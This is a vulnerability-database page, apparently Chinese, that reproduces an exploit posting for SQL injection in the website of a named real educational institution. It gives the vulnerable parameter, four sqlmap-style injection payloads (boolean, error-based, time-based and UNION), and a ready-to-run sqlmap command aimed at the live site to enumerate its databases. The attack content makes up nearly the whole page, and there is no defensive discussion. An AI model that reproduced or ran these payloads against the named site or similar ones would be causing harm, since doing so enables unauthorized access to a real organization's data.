Cmuc Education SQL INJECTION VULNERABILITY - CXSecurity.com

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1742471 漏洞类型
发布时间 2019-09-16 更新时间 2019-09-16
CVE编号 N/A CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2019090117
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
##############################################################################
# Exploit Title : Cmuc Edication SQL INJECTION Vulnerability
# Author  : AtakBey,Secret Team
# Date : 15/09/2019
# Vendor Homepage : cmuc.edu.mn
# Tested On : Windows
# Category : WebApps
# Exploit Risk : Medium
##############################################################################
# Exploit :
/view.php?id=[SQL Injection]

# Payload :
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=25 AND 8940=8940

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=25 AND (SELECT 7025 FROM(SELECT COUNT(*),CONCAT(0x7171786271,(SELECT (ELT(7025=7025,1))),0x7170706271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=25 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 8 columns
    Payload: id=25 UNION ALL SELECT CONCAT(0x7171786271,0x43785a536d4b4f5a694642616c6450455269546f547a794d536d5376626146515a6e58646c554e6f,0x7170706271),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- EAKG

# SQLMAP Config
sqlmap.py -u "http://cmuc.edu.mn/view.php?id=25" --risk=3 --level=5 --random-agent --user-agent -v3 --batch --threads=10 --dbs

##############################################################################
# Thanks : Atakbey,Secretteam.biz